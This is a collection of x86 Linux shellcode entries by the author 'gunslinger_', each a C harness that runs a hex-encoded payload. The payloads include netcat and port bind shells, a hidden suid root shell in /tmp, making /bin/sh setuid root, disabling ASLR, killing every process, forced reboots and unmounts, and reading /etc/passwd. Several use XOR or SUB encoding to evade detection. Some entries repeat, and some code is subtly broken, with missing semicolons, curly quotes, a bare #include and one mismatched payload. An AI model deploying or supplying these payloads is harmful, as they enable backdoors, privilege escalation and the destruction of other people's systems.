set hostname to c0debreaker linux shellcode
This shellcode is make your hostname to c0debreaker…
/*
Title : sethostname to "c0debreaker" linux shellcode .
Name : 37 bytes sethostname to "c0debreaker" linux .
Date : Fri Aug 6 21:41:20 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char shellcode[] =
"\xeb\x13" /* jmp 0x8048075 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x4a" /* mov $0x4a,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb1\x0b" /* mov $0xb,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
"\x63\x30" /* arpl %si,(%eax) */
"\x64\x65\x62\x72\x65" /* bound %esi,%fs:%gs:0x65(%edx) */
"\x61" /* popa */
"\x6b" /* .byte 0x6b */
"\x65" /* gs */
"\x72"; /* .byte 0x72 */
int main(void)
{
fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
echo 0 > /proc/sys/kernel/randomize_va_space SUB encoded linux shellcode .
/*
Title : echo 0 > /proc/sys/kernel/randomize_va_space SUB encoded linux shellcode .
Name : 111 bytes echo 0 > /proc/sys/kernel/randomize_va_space SUB encoded linux shellcode .
Date : Mon Jul 5 16:58:50 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x57\x80\x44\x0e\xff\x01"
"\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x5f\x30\xbf\x30\xd1\xaf\x0a\x51\x67\x6d\x2e\x72"
"\x67\x67\x2e\x2e\x61\x68\x88\xe2\x51\x67\x2c\x62"
"\x62\x62\x88\xe0\x51\xea\x06\x50\x52\x88\xe0\xcc"
"\x7f\x60\xe7\xf3\xfe\xfe\xfe\x64\x62\x67\x6e\x1f"
"\x2f\x1f\x3d\x1f\x2e\x6f\x71\x6e\x62\x2e\x72\x78"
"\x72\x2e\x6a\x64\x71\x6d\x64\x6b\x2e\x71\x60\x6d"
"\x63\x6e\x6c\x68\x79\x64\x5e\x75\x60\x5e\x72\x6f"
"\x60\x62\x64";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
/*
Title : nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
Name : 91 bytes nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
Date : Mon Jul 5 16:58:50 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5"
"\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87"
"\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02"
"\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68"
"\x66\x68\x68\x6c\x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8"
"\x9d";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
bind port to 6678 XOR encoded polymorphic linux shellcode .
/*
Title : bind port to 6678 XOR encoded polymorphic linux shellcode .
Name : 125 bind port to 6678 XOR encoded polymorphic linux shellcode .
Date : Tue Jul 6 01:52:33 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"
"\xba\x01\xc7\x8a";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
161 bytes Drop suid shell root in /tmp/.hiddenshell linux polymorphic shellcode
/*
Title : Drop suid root shell in /tmp/.hiddenshell linux polymorphic shellcode .
Name : 161 bytes Drop suid shell root in /tmp/.hiddenshell linux polymorphic shellcode
Date : Sat Jun 17 21:27:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x89\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5"
"\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87"
"\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02"
"\xb5\x96\x1d\x29\x34\x34\x34\x98\xa5\x55\x64\x97\x9e\xa3\x64"
"\x64\xa8\x9d\x55\x64\xa9\xa2\xa5\x64\x63\x9d\x9e\x99\x99\x9a"
"\xa3\xa8\x9d\x9a\xa1\xa1\x70\x55\x98\x9d\xa4\xac\xa3\x55\xa7"
"\xa4\xa4\xa9\x6f\xa7\xa4\xa4\xa9\x55\x64\xa9\xa2\xa5\x64\x63"
"\x9d\x9e\x99\x99\x9a\xa3\xa8\x9d\x9a\xa1\xa1\x70\x55\x98\x9d"
"\xa2\xa4\x99\x55\x69\x6c\x6a\x6a\x55\x64\xa9\xa2\xa5\x64\x63"
"\x9d\x9e\x99\x99\x9a\xa3\xa8\x9d\x9a\xa1\xa1";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
92 bytes displaying system temperature x86 linux shellcode
/*
Name : 92 bytes displaying system temperature x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (exploit-db.com)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68"
"\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53"
"\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x70\x72"
"\x6f\x63\x2f\x61\x63\x70\x69\x2f\x74\x68\x65"
"\x72\x6d\x61\x6c\x5f\x7a\x6f\x6e\x65\x2f\x54"
"\x48\x52\x4d\x2f\x74\x65\x6d\x70\x65\x72\x61"
"\x74\x75\x72\x65";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
return 0;
}
48 bytes chown root:root /bin/sh x86 linux shellcode
Name : 48 bytes chown root:root /bin/sh x86 linux shellcode
Date : Sat Jun 5 15:32:40 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"\xeb\x13" /* jmp 0x8048075 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\xb6" /* mov $0xb6,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x68\x6f\x6d\x65\x2f" /* push $0x2f656d6f */
"\x67\x75\x6e" /* addr16 jne 0x80480f1 */
"\x73\x6c" /* jae 0x80480f1 */
"\x69\x6e\x67\x65\x72\x2f\x73"/* imul $0x732f7265,0x67(%esi),%ebp */
"\x68" /* .byte 0x68 */
"\x65" /* gs */
"\x6c" /* insb (%dx),%es "(%edi) */
"\x6c"; /* insb (%dx),%es "(%edi) */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
45 bytes give all user root access when execute /bin/sh x86 linux shellcode
/*
Name : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode
Date : Sat Jun 5 16:10:00 2010
Author : gunslinger_
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/
#include
char *shellcode=
"\xeb\x1f" /* jmp 0x8048081 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\xb6" /* mov $0xb6,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0f" /* mov $0xf,%al */
"\x89\xdb" /* mov %ebx,%ebx */
"\x66\xb9\xed\x09" /* mov $0x9ed,%cx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x62\x69\x6e" /* bound %ebp,0x6e(%ecx) */
"\x2f" /* das */
"\x73\x68"; /* jae 0x80480f5 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
45 bytes sys_execve(“/bin/sh”, “0″, “0″) with umask 16 (sys_umask(14)) x86 linux shellcode
/*
Name : 45 bytes sys_execve("/bin/sh", "0", "0") with umask 16 (sys_umask(14)) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
int main(){
char shell[] = "\x31\xc0\x31\xdb\x31\xdb\x31\xd2\x31"
"\xc9\xb0\x3c\x31\xdb\xb3\x0e\xcd\x80"
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2"
"\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";
(*(void (*)()) shell)();
}
force unmount “/media/disk” x86 linux shellcode (some data cause lost)
/*
Title : force unmount "/media/disk" x86 linux shellcode (some data cause lost)
Name : 33 bytes force unmount "/media/disk" linux x68 shellcode
Date : Fri Jun 4 13:15:51 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"\xeb\x0f" /* jmp 0x8048071 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x34" /* mov $0x34,%al */
"\x5b" /* pop %ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xec\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x6d" /* insl (%dx),%es:(%edi) */
"\x65\x64\x69\x61\x2f\x64\x69"/* imul $0x6b736964,%fs:%gs:0x2f(%ecx),%esp */
"\x73\x6b";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
sethostname “pwned !!” x86 linux shellcode
/*
Title : sethostname "pwned !!"
Name : 32 bytes sys_sethostname("PwNeD !!",8) x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\xeb\x11" /* jmp 0x8048073 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x4a" /* mov $0x4a,%al */
"\x5b" /* pop %ebx */
"\xb1\x08" /* mov $0x8,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xea\xff\xff\xff" /* call 0x8048062 */
"\x50" /* push %eax */
"\x77\x4e" /* ja 0x80480c9 */
"\x65" /* gs */
"\x44" /* inc %esp */
"\x20\x21" /* and %ah,(%ecx) */
"\x21"; /* .byte 0x21 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
39 bytes sys_setuid(0) & sys_setgid(0) & execve (“/bin/sh”) x86 linux shellcode
/*
Name : 39 bytes sys_setuid(0) & sys_setgid(0) & execve ("/bin/sh") x86 linux shellcode
Date : Tue Jun 1 21:29:10 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\xeb\x19" /* jmp 0x804807b */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0b" /* mov $0xb,%al */
"\x5b" /* pop %ebx */
"\x89\xd1" /* mov %edx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe2\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x62\x69\x6e" /* bound %ebp,0x6e(%ecx) */
"\x2f" /* das */
"\x73\x68" /* jae 0x80480ef */
"";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
/bin/cat /etc/passwd 43 bytes x86 linux
/*
Title : /bin/cat /etc/passwd 43 bytes x86 linux
Name : 43 bytes sys_execve("/bin/cat","/etc/passwd") x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\xeb\x15" /* jmp 0x8048077 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0f" /* mov $0xf,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x66\xb9\xff\x01" /* mov $0x1ff,%cx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe6\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x65" /* gs */
"\x74\x63" /* je 0x80480e3 */
"\x2f" /* das */
"\x73\x68" /* jae 0x80480eb */
"\x61" /* popa */
"\x64\x6f" /* outsl %fs "(%esi),(%dx) */
"\x77" /* .byte 0x77 */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // mov $0xb,%al
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x61\x64\x6f\x77" // push dword 0x64777373
"\x68\x2f\x2f\x73\x68" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80"; // int 80h
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
return 0;
}
/*
shellcode[]="\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/
kill all running process linux x86 shellcode
/*
Title : kill all running process
Name : 11 bytes sys_kill(-1,9) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : ubuntu linux
*/
#include <stdio.h>
char *killer=
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x25" /* mov $0x25,%al */
"\x6a\xff" /* push $0xffffffff */
"\x5b" /* pop %ebx */
"\xb1\x09" /* mov $0x9,%cl */
"\xcd\x80" /* int $0x80 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(killer));
((void (*)(void)) killer)();
return 0;
}
45 bytes sys_execve(“/bin/sh”, “0″, “0″) with umask 16 (sys_umask(14)) x86 linux shellcode
/*
Name : 45 bytes sys_execve("/bin/sh", "0", "0") with umask 16 (sys_umask(14)) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
int main(){
char shell[] = "\x31\xc0\x31\xdb\x31\xdb\x31\xd2\x31"
"\xc9\xb0\x3c\x31\xdb\xb3\x0e\xcd\x80"
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2"
"\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";
(*(void (*)()) shell)();
}
45 bytes sys_execve(“/bin/sh”, “-c”, “reboot”) x86 linux shellcode
/*
Name : 45 bytes sys_execve("/bin/sh", "-c", "reboot") x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
int main(void)
{
char dark[] = "\x6a\x0b\x58\x99\x52\x68\x6f\x74\x20\x20\x68\x72\x65\x62\x6f"
"\x89\xe6\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80";
void(*door)()=(void*)dark;
door();
return 0;
}
55 bytes sys_execve(“/bin/sh”, “-c”, “ping localhost”) x86 linux shellcode
/*
Name : 55 bytes sys_execve("/bin/sh", "-c", "ping localhost") x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
char asshole[] = "\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x73\x74\x20\x20" // push $0x20207473
"\x68\x61\x6c\x68\x6f" // push $0x6f686c61
"\x68\x20\x6c\x6f\x63" // push $0x636f6c20
"\x68\x70\x69\x6e\x67" // push $0x676e6970
"\x89\xe6" // mov %esp,%esi
"\x52" // push %edx
"\x66\x68\x2d\x63" // pushw $0x632d
"\x89\xe1" // mov %esp,%ecx
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x56" // push %esi
"\x51" // push %ecx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) asshole;
(int)(*func)();
}
52 bytes sys_execve(“/usr/bin/lwp-download”, “evil”) x86 linux shellcode
/*
Name : 52 bytes sys_execve("/usr/bin/lwp-download", "evil") x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
char getter[] = "\x6a\x0b\x58\x99\x52\x68"
"\x65\x76\x69\x6c" // evil
"\x89\xe1\x52\x6a\x64\x68"
"\x6e\x6c\x6f\x61\x68\x2d"
"\x64\x6f\x77\x68\x2f\x6c"
"\x77\x70\x68\x2f\x62\x69"
"\x6e\x68\x2f\x75\x73\x72"
"\x89\xe3\x52\x51\x53\x89"
"\xe1\xcd\x80\x40\xcd\x80";
int main(void)
{
(*(void(*)()) getter)();
return 0;
}
38 bytes sys_mkdir(“/tmp/dir”,1) x86 linux shellcode
/*
Name : 38 bytes sys_mkdir("/tmp/dir",1) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
/*
gunslinger@localhost:~/shellcode$ objdump -d mkdir
mkdir: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: eb 17 jmp 0x8048079
8048062: 31 c0 xor %eax,%eax
8048064: 31 db xor %ebx,%ebx
8048066: 31 d2 xor %edx,%edx
8048068: 31 c9 xor %ecx,%ecx
804806a: b0 27 mov $0x27,%al
804806c: 5b pop %ebx
804806d: b1 00 mov $0x0,%cl
804806f: cd 80 int $0x80
8048071: 31 c0 xor %eax,%eax
8048073: b0 01 mov $0x1,%al
8048075: 31 db xor %ebx,%ebx
8048077: cd 80 int $0x80
8048079: e8 e4 ff ff ff call 0x8048062
804807e: 2f das
804807f: 74 6d je 0x80480ee
8048081: 70 2f jo 0x80480b2
8048083: 64 fs
8048084: 69 .byte 0x69
8048085: 72 .byte 0x72
gunslinger@localhost:~/shellcode$
*/
#include <stdio.h>
char shellcodedir[] = "\xeb\x17"
"\x31\xc0"
"\x31\xdb"
"\x31\xd2"
"\x31\xc9"
"\xb0\x27"
"\x5b"
"\xb1\x01"
"\xcd\x80"
"\x31\xc0"
"\xb0\x01"
"\x31\xdb"
"\xcd\x80"
"\xe8\xe4\xff\xff\xff"
"\x2f"
"\x74\x6d"
"\x70\x2f"
"\x64"
"\x69"
"\x72";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcodedir;
(int)(*func)();
}
/bin/cat /etc/passwd 43 bytes x86 linux
/*
Title : /bin/cat /etc/passwd 43 bytes x86 linux
Name : 43 bytes sys_execve("/bin/cat","/etc/passwd") x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // mov $0xb,%al
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // push dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80"; // int 80h
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
return 0;
}
/*
shellcode[]="\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/
55 bytes sys_execve(“/bin/sh”, “-c”, “ping localhost”) x86 linux shellcode
/*
Name : 55 bytes sys_execve(“/bin/sh”, “-c”, “ping localhost”) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
char asshole[] = “\x6a\x0b” // push $0xb
“\x58″ // pop %eax
“\x99″ // cltd
“\x52″ // push %edx
“\x68\x73\x74\x20\x20″ // push $0×20207473
“\x68\x61\x6c\x68\x6f” // push $0x6f686c61
“\x68\x20\x6c\x6f\x63″ // push $0x636f6c20
“\x68\x70\x69\x6e\x67″ // push $0x676e6970
“\x89\xe6″ // mov %esp,%esi
“\x52″ // push %edx
“\x66\x68\x2d\x63″ // pushw $0x632d
“\x89\xe1″ // mov %esp,%ecx
“\x52″ // push %edx
“\x68\x2f\x2f\x73\x68″ // push $0x68732f2f
“\x68\x2f\x62\x69\x6e” // push $0x6e69622f
“\x89\xe3″ // mov %esp,%ebx
“\x52″ // push %edx
“\x56″ // push %esi
“\x51″ // push %ecx
“\x53″ // push %ebx
“\x89\xe1″ // mov %esp,%ecx
“\xcd\x80″; // int $0×80
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) asshole;
(int)(*func)();
}
45 bytes sys_execve(“/bin/sh”, “-c”, “reboot”) x86 linux shellcode
/*
Name : 45 bytes sys_execve(“/bin/sh”, “-c”, “reboot”) x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslinger.devilzc0de.com
tested on : linux debian
*/
int main(void)
{
char dark[] = “\x6a\x0b\x58\x99\x52\x68\x6f\x74\x20\x20\x68\x72\x65\x62\x6f”
“\x89\xe6\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x2f\x2f\x73\x68″
“\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80″;
void(*door)()=(void*)dark;
door();
return 0;
}
33 bytes hard / unclean reboot but data not be lost x86 linux shellcode
/*
Title : hard reboot (without any message) and data not lost shellcode
Name : 33 bytes hard / unclean reboot but data not be lost x86 linux shellcode
Date : Thu Jun 3 12:54:55 2010
Author : gunslinger_
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck on reboot
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include
